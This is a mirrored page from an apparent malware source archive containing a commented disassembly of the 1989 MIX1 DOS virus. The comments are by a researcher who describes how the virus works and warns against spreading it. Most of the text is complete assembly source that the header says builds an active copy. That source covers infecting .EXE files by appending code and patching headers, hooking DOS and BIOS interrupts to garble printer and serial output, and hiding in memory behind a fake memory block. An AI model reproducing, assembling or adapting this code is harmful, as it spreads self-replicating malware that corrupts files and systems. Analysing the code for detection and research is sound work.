mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
857 lines
24 KiB
Plaintext
857 lines
24 KiB
Plaintext
|
; THE MIX1 virus
|
||
|
;
|
||
|
; It was first detected in Israel in August '89.
|
||
|
;
|
||
|
; Disassembly done Sept. 24-25 '89.
|
||
|
;
|
||
|
; The author of this program is unknown, but it is clearly a
|
||
|
; modification of the "Icelandic" virus, with considerable
|
||
|
; additions
|
||
|
;
|
||
|
; All comments in this file were added by Fridrik Skulason,
|
||
|
; University of Iceland/Computing Services.
|
||
|
;
|
||
|
; INTERNET: frisk@rhi.hi.is
|
||
|
; UUCP: ...mcvax!hafro!rhi!frisk
|
||
|
; BIX: FRISK
|
||
|
;
|
||
|
; To anyone who obtains this file - please be careful with it, I
|
||
|
; would not like to see this virus be distributed too much.
|
||
|
;
|
||
|
; A short description of the virus:
|
||
|
;
|
||
|
; It only infects .EXE files. Infected files grow by ... to ... bytes.
|
||
|
; The virus attaches itself to the end of the programs it infects.
|
||
|
;
|
||
|
; When an infected file is run, the virus copies itself to top of
|
||
|
; free memory, and modifies the memory blocks, in order to hide from
|
||
|
; memory mapping programs. Some programs may overwrite this area,
|
||
|
; causing the computer to crash.
|
||
|
;
|
||
|
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||
|
; it sometimes will infect the program being run. It will check every
|
||
|
; tenth program that is run for infection, and if it is not already
|
||
|
; infected, it will be.
|
||
|
;
|
||
|
; The virus will remove the Read-Only attribute before trying to
|
||
|
; infect programs.
|
||
|
;
|
||
|
; Infected files can be easily recognized, since they always end in
|
||
|
; "MIX1"
|
||
|
;
|
||
|
; To check for system infection, a byte at 0:33C is used - if it
|
||
|
; contains 77 the virus is installed in memory.
|
||
|
;
|
||
|
;
|
||
|
VIRSIZ EQU 128
|
||
|
|
||
|
;
|
||
|
; This is the original program, just used so this file, when
|
||
|
; assembled, will produce an active copy.
|
||
|
;
|
||
|
_TEXT1 SEGMENT PARA PUBLIC
|
||
|
_START DB 0b4H,09H
|
||
|
PUSH CS
|
||
|
POP DS
|
||
|
MOV DX,OFFSET STRING
|
||
|
INT 21H
|
||
|
MOV AX,4C00H
|
||
|
INT 21H
|
||
|
STRING DB "Hello world!",0dh,0ah,"$"
|
||
|
_TEXT1 ENDS
|
||
|
|
||
|
CODE SEGMENT PARA PUBLIC 'CODE'
|
||
|
ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
|
||
|
|
||
|
;
|
||
|
; The virus is basically divided in the following parts.
|
||
|
;
|
||
|
; 1. The main program - run when an infected program is run.
|
||
|
; It will check if the system is already infected, and if not
|
||
|
; it will install the virus.
|
||
|
;
|
||
|
; 2. The new INT 17 handler. All outgoing characters will be garbled.
|
||
|
;
|
||
|
; 3. The new INT 14 handler. All outgoing characters will be garbled.
|
||
|
;
|
||
|
; 4. The new INT 8 handler.
|
||
|
;
|
||
|
; 5. The new INT 9 handler. Disables the Num-Lock key
|
||
|
;
|
||
|
; 6. The new INT 21 handler. It will look for EXEC calls, and
|
||
|
; (sometimes) infect the program being run.
|
||
|
;
|
||
|
; Parts 1 and 6 are almost identical to the Icelandic-1 version
|
||
|
;
|
||
|
; This is a fake MCB
|
||
|
;
|
||
|
DB 'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
|
||
|
|
||
|
VIRUS PROC FAR
|
||
|
;
|
||
|
; The virus starts by pushing the original start address on the stack,
|
||
|
; so it can transfer control there when finished.
|
||
|
;
|
||
|
ABRAX: DEC SP ; This used to be SUB SP,4
|
||
|
DEC SP
|
||
|
NOP
|
||
|
DEC SP
|
||
|
DEC SP
|
||
|
PUSH BP
|
||
|
MOV BP,SP
|
||
|
NOP ; added
|
||
|
PUSH AX
|
||
|
NOP ; added
|
||
|
MOV AX,ES
|
||
|
;
|
||
|
; Put the the original CS on the stack. The ADD AX,data instruction
|
||
|
; is modified by the virus when it infects other programs.
|
||
|
;
|
||
|
DB 05H
|
||
|
ORG_CS DW 0010H
|
||
|
MOV [BP+4],AX
|
||
|
;
|
||
|
; Put the the original IP on the stack. This MOV [BP+2],data instruction
|
||
|
; is modified by the virus when it infects other programs.
|
||
|
;
|
||
|
DB 0C7H,46H,02H
|
||
|
ORG_IP DW 0000H
|
||
|
;
|
||
|
; Save all registers that are modified.
|
||
|
;
|
||
|
PUSH ES
|
||
|
PUSH DS
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH SI
|
||
|
PUSH DI
|
||
|
;
|
||
|
; Check if already installed. Quit if so.
|
||
|
;
|
||
|
MOV AX,0 ; Was: XOR AX,AX
|
||
|
MOV ES,AX
|
||
|
CMP ES:[33CH],BYTE PTR 077H
|
||
|
JNE L1
|
||
|
;
|
||
|
; Restore all registers and return to the original program.
|
||
|
;
|
||
|
EXIT: POP DI
|
||
|
POP SI
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP DS
|
||
|
POP ES
|
||
|
POP AX
|
||
|
POP BP
|
||
|
RET
|
||
|
;
|
||
|
; The virus tries to hide from detection by modifying the memory block it
|
||
|
; uses, so it seems to be a block that belongs to the operating system.
|
||
|
;
|
||
|
; It looks rather weird, but it seems to work.
|
||
|
;
|
||
|
L1: MOV AH,52H
|
||
|
INT 21H
|
||
|
MOV AX,ES:[BX-2]
|
||
|
MOV ES,AX
|
||
|
PUSH ES ; Two totally unnecessary instructions
|
||
|
POP AX ; added
|
||
|
ADD AX,ES:[0003]
|
||
|
INC AX
|
||
|
INC AX
|
||
|
MOV CS:[0001],AX
|
||
|
;
|
||
|
; Next, the virus modifies the memory block of the infected program.
|
||
|
; It is made smaller, and no longer the last block.
|
||
|
;
|
||
|
MOV BX,DS
|
||
|
DEC BX
|
||
|
PUSH BX ; Unnecessary addition
|
||
|
POP AX
|
||
|
MOV DS,BX
|
||
|
MOV AL,'M'
|
||
|
MOV DS:[0000],AL
|
||
|
MOV AX,DS:[0003]
|
||
|
SUB AX,VIRSIZ
|
||
|
MOV DS:[0003],AX
|
||
|
ADD BX,AX
|
||
|
INC BX
|
||
|
;
|
||
|
; Then the virus moves itself to the new block.
|
||
|
;
|
||
|
PUSH BX ; Was: MOV ES,BX
|
||
|
POP ES
|
||
|
MOV SI,0 ; Was: XOR SI,SI XOR DI,DI
|
||
|
MOV DI,SI
|
||
|
PUSH CS
|
||
|
POP DS
|
||
|
MOV CX,652H
|
||
|
CLD
|
||
|
REP MOVSB
|
||
|
;
|
||
|
; The virus then transfers control to the new copy of itself.
|
||
|
;
|
||
|
PUSH ES
|
||
|
MOV AX,OFFSET L3
|
||
|
PUSH AX
|
||
|
RET
|
||
|
;
|
||
|
; Zero some variables
|
||
|
;
|
||
|
L3: MOV BYTE PTR CS:[MIN60],0
|
||
|
NOP
|
||
|
MOV BYTE PTR CS:[MIN50],0
|
||
|
NOP
|
||
|
MOV WORD PTR CS:[TIMER],0
|
||
|
;
|
||
|
; The most nutty way to zero ES register that I have ever seen:
|
||
|
;
|
||
|
MOV BX,0FFFFH
|
||
|
ADD BX,3F3FH
|
||
|
MOV CL,0AH
|
||
|
SHL BX,CL
|
||
|
AND BX,CS:[CONST0]
|
||
|
MOV AX,BX
|
||
|
MOV ES,AX
|
||
|
;
|
||
|
; Set flag to confirm installation
|
||
|
;
|
||
|
MOV BYTE PTR ES:[33CH],77H
|
||
|
;
|
||
|
; Hook interrupt 21:
|
||
|
;
|
||
|
MOV AX,ES:[0084H]
|
||
|
MOV CS:[OLD21],AX
|
||
|
MOV AX,ES:[0086H]
|
||
|
MOV CS:[OLD21+2],AX
|
||
|
MOV AX,CS
|
||
|
MOV ES:[0086H],AX
|
||
|
MOV AX,OFFSET NEW21
|
||
|
MOV ES:[0084H],AX
|
||
|
;
|
||
|
; Hook interrupt 17:
|
||
|
;
|
||
|
MOV AX,ES:[005CH]
|
||
|
MOV CS:[OLD17],AX
|
||
|
MOV AX,ES:[005EH]
|
||
|
MOV CS:[OLD17+2],AX
|
||
|
MOV AX,CS
|
||
|
MOV ES:[005EH],AX
|
||
|
MOV AX,OFFSET NEW17
|
||
|
MOV ES:[005CH],AX
|
||
|
;
|
||
|
; Hook interrupt 14:
|
||
|
;
|
||
|
MOV AX,ES:[0050H]
|
||
|
MOV CS:[OLD17],AX
|
||
|
MOV AX,ES:[0052H]
|
||
|
MOV CS:[OLD14+2],AX
|
||
|
MOV AX,CS
|
||
|
MOV ES:[0052H],AX
|
||
|
MOV AX,OFFSET NEW14
|
||
|
MOV ES:[0050H],AX
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
CMP WORD PTR CS:[NOINF],5
|
||
|
JG HOOK9
|
||
|
JMP EXIT
|
||
|
;
|
||
|
; Hook interrupt 9
|
||
|
;
|
||
|
HOOK9: MOV AX,ES:[0024H]
|
||
|
MOV CS:[OLD9],AX
|
||
|
MOV AX,ES:[0026H]
|
||
|
MOV CS:[OLD9+2],AX
|
||
|
MOV AX,CS
|
||
|
MOV ES:[0026H],AX
|
||
|
MOV AX,OFFSET NEW9
|
||
|
MOV ES:[0024H],AX
|
||
|
;
|
||
|
; Hook interrupt 8
|
||
|
;
|
||
|
MOV AX,ES:[0020H]
|
||
|
MOV CS:[OLD8],AX
|
||
|
MOV AX,ES:[0022H]
|
||
|
MOV CS:[OLD8+2],AX
|
||
|
MOV AX,CS
|
||
|
MOV ES:[0022H],AX
|
||
|
MOV AX,OFFSET NEW8
|
||
|
MOV ES:[0020H],AX
|
||
|
JMP EXIT
|
||
|
;
|
||
|
; Video processing
|
||
|
;
|
||
|
ID: PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH DI
|
||
|
PUSH DS
|
||
|
PUSH ES
|
||
|
PUSH CS
|
||
|
POP DS
|
||
|
MOV AH,0FH
|
||
|
INT 10H
|
||
|
MOV AH,6
|
||
|
MUL AH
|
||
|
MOV BX,AX
|
||
|
MOV AX,DS:[BX+OFFSET VIDEOT]
|
||
|
MOV CX,DS:[BX+OFFSET VIDEOT+2]
|
||
|
MOV DX,DS:[BX+OFFSET VIDEOT+4]
|
||
|
MOV ES,DX
|
||
|
SHR CX,1
|
||
|
MOV DI,1
|
||
|
CMP AX,0
|
||
|
JNZ V1
|
||
|
V0: INC WORD PTR ES:[DI]
|
||
|
INC DI
|
||
|
INC DI
|
||
|
LOOP V0
|
||
|
JMP SHORT V2
|
||
|
NOP
|
||
|
V1: NOT WORD PTR ES:[DI]
|
||
|
INC DI
|
||
|
INC DI
|
||
|
LOOP V1
|
||
|
V2: POP ES
|
||
|
POP DS
|
||
|
POP DI
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
RET
|
||
|
;
|
||
|
; INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
|
||
|
; This routine does not become active until 50 minutes after
|
||
|
; the execution of an infected program.
|
||
|
;
|
||
|
NEW9: PUSH AX
|
||
|
PUSH ES
|
||
|
CMP BYTE PTR CS:[MIN50],1
|
||
|
JNZ RETX1
|
||
|
XOR AX,AX
|
||
|
MOV ES,AX ; was xxxxxxxx
|
||
|
AND BYTE PTR ES:[417H],0BFH ; x0xxxxxx
|
||
|
OR BYTE PTR ES:[417H],20H ; x01xxxxx
|
||
|
TEST BYTE PTR ES:[417H],0CH
|
||
|
JZ RETX1
|
||
|
IN AL,60
|
||
|
CMP AL,53
|
||
|
JNZ RETX1
|
||
|
AND BYTE PTR ES:[417H],0F7H
|
||
|
;
|
||
|
; This seems to be an error - the virus uses a FAR call, which will
|
||
|
; probably cause the computer to crash.
|
||
|
;
|
||
|
DB 9AH
|
||
|
DW OFFSET ID,171CH
|
||
|
;
|
||
|
; This needs more checking.
|
||
|
;
|
||
|
|
||
|
RETX1: POP ES
|
||
|
POP AX
|
||
|
DB 0EAH
|
||
|
OLD9 DW 0,0
|
||
|
;
|
||
|
; New INT 14 routine - garble all outgoing characters
|
||
|
;
|
||
|
NEW14: CMP AH,1
|
||
|
JZ S1
|
||
|
DO14: DB 0EAH
|
||
|
OLD14 DW 0,0
|
||
|
S1: PUSH BX
|
||
|
XOR BX,BX
|
||
|
MOV BL,AL
|
||
|
ADD BX,OFFSET ERRTAB
|
||
|
MOV AL,CS:[BX] ; use old character as index into table
|
||
|
POP BX
|
||
|
JMP DO14
|
||
|
;
|
||
|
; New INT 8 routine
|
||
|
;
|
||
|
NEW8: PUSH DX
|
||
|
PUSH CX
|
||
|
PUSH BX
|
||
|
PUSH AX
|
||
|
CMP BYTE PTR CS:[MIN60],01 ; If counter >= 60 min.
|
||
|
JZ TT0 ; No need to check any more
|
||
|
INC WORD PTR CS:[TIMER] ; else increment timer
|
||
|
CMP WORD PTR CS:[TIMER],-10 ; 60 minutes ?
|
||
|
JZ TT1
|
||
|
CMP WORD PTR CS:[TIMER],54600 ; 50 minutes ?
|
||
|
JZ TT2
|
||
|
JMP TXEX
|
||
|
;
|
||
|
; 50 minutes after an infected program is run the flag is set.
|
||
|
;
|
||
|
TT2: MOV BYTE PTR CS:[MIN50],1
|
||
|
NOP
|
||
|
JMP TXEX
|
||
|
;
|
||
|
; 60 minutes after an infected program is run we start the ball bouncing.
|
||
|
;
|
||
|
TT1: MOV BYTE PTR CS:[MIN60],1
|
||
|
;
|
||
|
; Get current cursor position and save it
|
||
|
;
|
||
|
MOV AH,3
|
||
|
MOV BH,0
|
||
|
INT 10H
|
||
|
MOV CS:[SCRLINE],DH
|
||
|
MOV CS:[SCRCOL],DL
|
||
|
;
|
||
|
; Set cursor position
|
||
|
;
|
||
|
MOV AH,2
|
||
|
MOV BH,0
|
||
|
MOV DH,CS:[MYLINE]
|
||
|
MOV DL,CS:[MYCOL]
|
||
|
INT 10H
|
||
|
;
|
||
|
; Check what is there and store it
|
||
|
;
|
||
|
MOV AH,8
|
||
|
MOV BH,0
|
||
|
INT 10H
|
||
|
MOV CS:[ONSCREEN],AL
|
||
|
;
|
||
|
; Set cursor position back as it was before
|
||
|
;
|
||
|
MOV AH,2
|
||
|
MOV BH,0
|
||
|
MOV DH,CS:[SCRLINE]
|
||
|
MOV DL,CS:[SCRCOL]
|
||
|
INT 10H
|
||
|
;
|
||
|
; Get current video mode and store it
|
||
|
;
|
||
|
MOV AH,0FH
|
||
|
INT 10H
|
||
|
MOV CS:[VMODE],AH
|
||
|
;
|
||
|
; Exit interrupt routine
|
||
|
;
|
||
|
JMP TXEX
|
||
|
;
|
||
|
; Every time an INT 8 occurs, after the 60 min. have passed, we
|
||
|
; end up here:
|
||
|
;
|
||
|
; First get current cursor position
|
||
|
;
|
||
|
TT0: MOV AH,3
|
||
|
MOV BH,0
|
||
|
INT 10H
|
||
|
MOV CS:[SCRLINE],DH
|
||
|
MOV CS:[SCRCOL],DL
|
||
|
;
|
||
|
; Then set it to last position of ball.
|
||
|
;
|
||
|
MOV AH,2
|
||
|
MOV BH,0
|
||
|
MOV DH,CS:[MYLINE]
|
||
|
MOV DL,CS:[MYCOL]
|
||
|
INT 10H
|
||
|
;
|
||
|
; Write previous character there ...
|
||
|
;
|
||
|
MOV AH,0EH
|
||
|
MOV AL,CS:[ONSCREEN]
|
||
|
MOV BX,0
|
||
|
INT 10H
|
||
|
;
|
||
|
;
|
||
|
CMP BYTE PTR CS:[UPDOWN],0
|
||
|
JZ T2
|
||
|
;
|
||
|
;
|
||
|
DEC BYTE PTR CS:[MYLINE]
|
||
|
JMP SHORT T3
|
||
|
NOP
|
||
|
T2: INC BYTE PTR CS:[MYLINE]
|
||
|
T3: CMP BYTE PTR CS:[LEFTRIGHT],0
|
||
|
JZ T4
|
||
|
DEC BYTE PTR CS:[MYCOL]
|
||
|
JMP SHORT T5
|
||
|
NOP
|
||
|
T4: INC BYTE PTR CS:[MYCOL]
|
||
|
;
|
||
|
; Get current video mode
|
||
|
;
|
||
|
T5: MOV AH,0FH
|
||
|
INT 10H
|
||
|
MOV CS:[VMODE],AH
|
||
|
MOV AL,CS:[MAXLIN]
|
||
|
CMP CS:[MYLINE],AL ; bottom of screen ?
|
||
|
JNZ T6
|
||
|
;
|
||
|
; Reached bottom - now go upwards.
|
||
|
;
|
||
|
NOT BYTE PTR CS:[UPDOWN]
|
||
|
T6: CMP BYTE PTR CS:[MYLINE],0 ; reached the top ?
|
||
|
JNZ T7
|
||
|
;
|
||
|
; Reached top - now go downwards
|
||
|
;
|
||
|
NOT BYTE PTR CS:[UPDOWN]
|
||
|
T7: MOV AL,CS:[VMODE]
|
||
|
CMP CS:[MYCOL],AL
|
||
|
JNZ T8
|
||
|
NOT BYTE PTR CS:[LEFTRIGHT]
|
||
|
T8: CMP BYTE PTR CS:[MYCOL],0
|
||
|
JNZ T9
|
||
|
NOT BYTE PTR CS:[LEFTRIGHT]
|
||
|
;
|
||
|
; Set cursor position to new position of ball
|
||
|
;
|
||
|
T9: MOV AH,02
|
||
|
MOV BH,0
|
||
|
MOV DH,CS:[MYLINE]
|
||
|
MOV DL,CS:[MYCOL]
|
||
|
INT 10H
|
||
|
;
|
||
|
; Get what is there and store it.
|
||
|
;
|
||
|
MOV AH,8
|
||
|
MOV BH,0
|
||
|
INT 10H
|
||
|
MOV CS:[ONSCREEN],AL
|
||
|
;
|
||
|
; Write character (lower case o)
|
||
|
;
|
||
|
MOV AH,0EH
|
||
|
MOV AL,6FH
|
||
|
MOV BX,0
|
||
|
INT 10H
|
||
|
;
|
||
|
; And restore cursor position
|
||
|
;
|
||
|
MOV AH,02
|
||
|
MOV BH,0
|
||
|
MOV DH,CS:[SCRLINE]
|
||
|
MOV DL,CS:[SCRCOL]
|
||
|
INT 10H
|
||
|
;
|
||
|
; Restore registers and quit
|
||
|
;
|
||
|
TXEX: POP AX
|
||
|
POP BX
|
||
|
POP CX
|
||
|
POP DX
|
||
|
DB 0EAH
|
||
|
OLD8 DW 0,0
|
||
|
;
|
||
|
; New INT 17 routine. Garble all outgoing characters.
|
||
|
;
|
||
|
NEW17: CMP AH,0
|
||
|
JZ P0
|
||
|
DO17: DB 0EAH
|
||
|
OLD17 DW 0,0
|
||
|
P0: PUSH BX
|
||
|
XOR BX,BX
|
||
|
MOV BL,AL
|
||
|
ADD BX,OFFSET ERRTAB
|
||
|
MOV AL,CS:[BX]
|
||
|
POP BX
|
||
|
JMP DO17
|
||
|
;
|
||
|
; This is the INT 21 replacement. It only does something in the case
|
||
|
; of an EXEC call.
|
||
|
;
|
||
|
NEW21: CMP AH,4BH
|
||
|
JE L5
|
||
|
DO21: DB 0EAH
|
||
|
OLD21 DW 0,0
|
||
|
;
|
||
|
; The code to only infect every tenth program has been removed
|
||
|
;
|
||
|
L5: PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH SI
|
||
|
PUSH DS
|
||
|
;
|
||
|
; Search for the file name extension ...
|
||
|
;
|
||
|
MOV BX,DX
|
||
|
L6: INC BX
|
||
|
CMP BYTE PTR [BX],'.'
|
||
|
JE L8
|
||
|
CMP BYTE PTR [BX],0
|
||
|
JNE L6
|
||
|
;
|
||
|
; ... and quit unless it starts with "EX".
|
||
|
;
|
||
|
L7: POP DS
|
||
|
POP SI
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
JMP DO21
|
||
|
L8: INC BX
|
||
|
CMP WORD PTR [BX],5845H
|
||
|
JNE L7
|
||
|
;
|
||
|
; When an .EXE file is found, the virus starts by turning off
|
||
|
; the read-only attribute. The read-only attribute is not restored
|
||
|
; when the file has been infected.
|
||
|
;
|
||
|
MOV AX,4300H ; Get attribute
|
||
|
INT 21H
|
||
|
JC L7
|
||
|
MOV AX,4301H ; Set attribute
|
||
|
AND CX,0FEH
|
||
|
INT 21H
|
||
|
JC L7
|
||
|
;
|
||
|
; Next, the file is examined to see if it is already infected.
|
||
|
; The signature (4418 5F19) is stored in the last two words.
|
||
|
;
|
||
|
MOV AX,3D02H ; Open / write access
|
||
|
INT 21H
|
||
|
JC L7
|
||
|
MOV BX,AX ; file handle in BX
|
||
|
;
|
||
|
; This part of the code is new: Get date of file.
|
||
|
;
|
||
|
MOV AX,5700H
|
||
|
INT 21H
|
||
|
JC L9
|
||
|
MOV CS:[DATE1],DX
|
||
|
MOV CS:[DATE2],CX
|
||
|
;
|
||
|
PUSH CS ; now DS is no longer needed
|
||
|
POP DS
|
||
|
;
|
||
|
; The header of the file is read in at [ID+8]. The virus then
|
||
|
; modifies itself, according to the information stored in the
|
||
|
; header. (The original CS and IP addressed are stored).
|
||
|
;
|
||
|
MOV DX,OFFSET ID+8
|
||
|
MOV CX,1CH
|
||
|
MOV AH,3FH
|
||
|
INT 21H
|
||
|
JC L9
|
||
|
MOV AX,DS:ID[1CH]
|
||
|
MOV DS:[ORG_IP],AX
|
||
|
MOV AX,DS:ID[1EH]
|
||
|
ADD AX,10H
|
||
|
MOV DS:[ORG_CS],AX
|
||
|
;
|
||
|
; Next the read/write pointer is moved to the end of the file-4,
|
||
|
; and the last 4 bytes read. They are compared to the signature,
|
||
|
; and if equal nothing happens.
|
||
|
;
|
||
|
MOV AX,4202H
|
||
|
MOV CX,-1
|
||
|
MOV DX,-4
|
||
|
INT 21H
|
||
|
JC L9
|
||
|
ADD AX,4
|
||
|
MOV DS:[LEN_LO],AX
|
||
|
JNC L8A
|
||
|
INC DX
|
||
|
L8A: MOV DS:[LEN_HI],DX
|
||
|
;
|
||
|
; This part of the virus is new - check if it is below minimum length
|
||
|
;
|
||
|
CMP DX,0
|
||
|
JNE L8B
|
||
|
MOV CL,13
|
||
|
SHR AX,CL
|
||
|
CMP AX,0
|
||
|
JG L8B
|
||
|
JMP SHORT L9
|
||
|
NOP
|
||
|
L8B: MOV AH,3FH
|
||
|
MOV CX,4
|
||
|
MOV DX,OFFSET ID+4
|
||
|
INT 21H
|
||
|
JNC L11
|
||
|
L9: MOV AH,3EH
|
||
|
INT 21H
|
||
|
L10: JMP L7
|
||
|
;
|
||
|
; Compare to 4418,5F19
|
||
|
;
|
||
|
L11: MOV SI,OFFSET ID+4
|
||
|
MOV AX,[SI]
|
||
|
CMP AX,494DH
|
||
|
JNE L12
|
||
|
MOV AX,[SI+2]
|
||
|
CMP AX,3158H
|
||
|
JE L9
|
||
|
;
|
||
|
; The file is not infected, so the next thing the virus does is
|
||
|
; infecting it. First it is padded so the length becomes a multiple
|
||
|
; of 16 bytes. Tis is probably done so the virus code can start at a
|
||
|
; paragraph boundary.
|
||
|
;
|
||
|
L12: MOV AX,DS:[LEN_LO]
|
||
|
AND AX,0FH
|
||
|
JZ L13
|
||
|
MOV CX,16
|
||
|
SUB CX,AX
|
||
|
ADD DS:[LEN_LO],CX
|
||
|
JNC L12A
|
||
|
INC DS:[LEN_HI]
|
||
|
L12A: MOV AH,40H
|
||
|
INT 21H
|
||
|
JC L9
|
||
|
;
|
||
|
; Next the main body of the virus is written to the end.
|
||
|
;
|
||
|
L13: MOV DX,0 ; Was: XOR DX,DX
|
||
|
MOV CX,OFFSET ID + 4
|
||
|
MOV AH,40H
|
||
|
INT 21H
|
||
|
JC L9
|
||
|
;
|
||
|
; Next the .EXE file header is modified:
|
||
|
;
|
||
|
JMP SHORT F0 ; some unnecessary instructions
|
||
|
NOP
|
||
|
; First modify initial IP
|
||
|
;
|
||
|
F0: MOV AX,OFFSET LABEL
|
||
|
MOV DS:ID[1CH],AX
|
||
|
;
|
||
|
; Modify starting CS = Virus CS. It is computed as:
|
||
|
;
|
||
|
; (Original length of file+padding)/16 - Start of load module
|
||
|
;
|
||
|
MOV DX,DS:[LEN_HI]
|
||
|
MOV AX,DS:[LEN_LO]
|
||
|
MOV CL,CS:[CONST1] ; Modified a bit
|
||
|
SHR DX,CL
|
||
|
RCR AX,CL
|
||
|
SHR DX,CL
|
||
|
RCR AX,CL
|
||
|
SHR DX,CL
|
||
|
RCR AX,CL
|
||
|
SHR DX,CL
|
||
|
RCR AX,CL
|
||
|
SUB AX,DS:ID[10H]
|
||
|
MOV DS:ID[1EH],AX
|
||
|
;
|
||
|
; Modify length mod 512
|
||
|
;
|
||
|
ADD DS:[LEN_LO],OFFSET ID+4
|
||
|
JNC L14
|
||
|
INC DS:[LEN_HI]
|
||
|
L14: MOV AX,DS:[LEN_LO]
|
||
|
AND AX,511
|
||
|
MOV DS:ID[0AH],AX
|
||
|
;
|
||
|
; Modify number of blocks used
|
||
|
;
|
||
|
MOV DX,DS:[LEN_HI]
|
||
|
MOV AX,DS:[LEN_LO]
|
||
|
ADD AX,511
|
||
|
JNC L14A
|
||
|
INC DX
|
||
|
L14A: MOV AL,AH
|
||
|
MOV AH,DL
|
||
|
SHR AX,1
|
||
|
MOV DS:ID[0CH],AX
|
||
|
;
|
||
|
; Finally the modified header is written back to the start of the
|
||
|
; file.
|
||
|
;
|
||
|
QQQ: MOV AX,4200H
|
||
|
MOV CX,0 ; was XOR CX,CX
|
||
|
AND DX,CS:[CONST0] ; was XOR DX,DX
|
||
|
INT 21H
|
||
|
JC ENDIT
|
||
|
MOV AH,40H
|
||
|
MOV DX,OFFSET ID+8
|
||
|
MOV CX,1CH
|
||
|
INT 21H
|
||
|
;
|
||
|
; This part is new: Restore old date.
|
||
|
;
|
||
|
MOV DX,CS:[DATE1]
|
||
|
MOV CX,CS:[DATE2]
|
||
|
MOV AX,5701H
|
||
|
INT 21H
|
||
|
JC ENDIT
|
||
|
INC WORD PTR CS:[NOINF]
|
||
|
;
|
||
|
; Infection is finished - close the file and execute it
|
||
|
;
|
||
|
ENDIT: JMP L9
|
||
|
;
|
||
|
;
|
||
|
DW 0
|
||
|
|
||
|
VIDEOT: DW 0000H, 07D0H, 0B800H
|
||
|
DW 0000H, 07D0H, 0B800H
|
||
|
DW 0000H, 0FA0H, 0B800H
|
||
|
DW 0000H, 0FA0H, 0B800H
|
||
|
DW 0001H, 4000H, 0B800H
|
||
|
DW 0001H, 4000H, 0B800H
|
||
|
DW 0001H, 4000H, 0B800H
|
||
|
DW 0000H, 0FA0H, 0B000H
|
||
|
DW 0001H, 3E80H, 0B000H
|
||
|
DW 0001H, 7D00H, 0B000H
|
||
|
DW 0001H, 7D00H, 0B000H
|
||
|
DW 0002H, 0000H, 0000H
|
||
|
DW 0002H, 0000H, 0000H
|
||
|
DW 0001H, 7D00H, 0A000H
|
||
|
DW 0001H, 0FA00H, 0A000H
|
||
|
DW 0001H, 6D60H, 0A000H
|
||
|
DW 0002H, 0000H. 0000H
|
||
|
|
||
|
DW 0
|
||
|
|
||
|
ERRTAB DB 00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
|
||
|
DB 10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
|
||
|
DB 20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
|
||
|
DB 30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
|
||
|
DB 40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
|
||
|
DB 46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
|
||
|
DB 60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
|
||
|
DB 66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
|
||
|
DB 92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
|
||
|
DB 90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
|
||
|
DB 0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
|
||
|
DB 0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
|
||
|
DB 0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
|
||
|
DB 0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
|
||
|
DB 0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
|
||
|
DB 0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
|
||
|
|
||
|
CONST1 DB 1 ; Just the constant 1
|
||
|
CONST0 DW 0 ; The label says it all
|
||
|
MIN60 DB 0 ; Flag, set to 1 60 minutes after execution
|
||
|
MIN50 DB 0 ; Flag, set to 1 50 minutes after execution
|
||
|
VMODE DB 0 ; Video mode
|
||
|
MAXLIN DB 24
|
||
|
MYCOL DB 0 ; Position of ball on screen
|
||
|
MYLINE DB 0 ; ditto.
|
||
|
ONSCREEN DB ? ; Previous character on the screen
|
||
|
UPDOWN DB 0 ; Direction of ball (up or down)
|
||
|
LEFTRIGHT DB 0 ; Direction (left or right)
|
||
|
SCRCOL DB ?
|
||
|
SCRLINE DB ?
|
||
|
DATE1 DW ? ; Date of file
|
||
|
DATE2 DW ? ; ditto.
|
||
|
TIMER DW 0 ; Number of timer (INT 8) ticks
|
||
|
LEN_LO DW ?
|
||
|
LEN_HI DW ?
|
||
|
NOINF DW 0 ; Number of infections
|
||
|
ID ABRAX WORD
|
||
|
DB "MIX1" ; The signature of the virus.
|
||
|
;
|
||
|
; A buffer, used for data from the file.
|
||
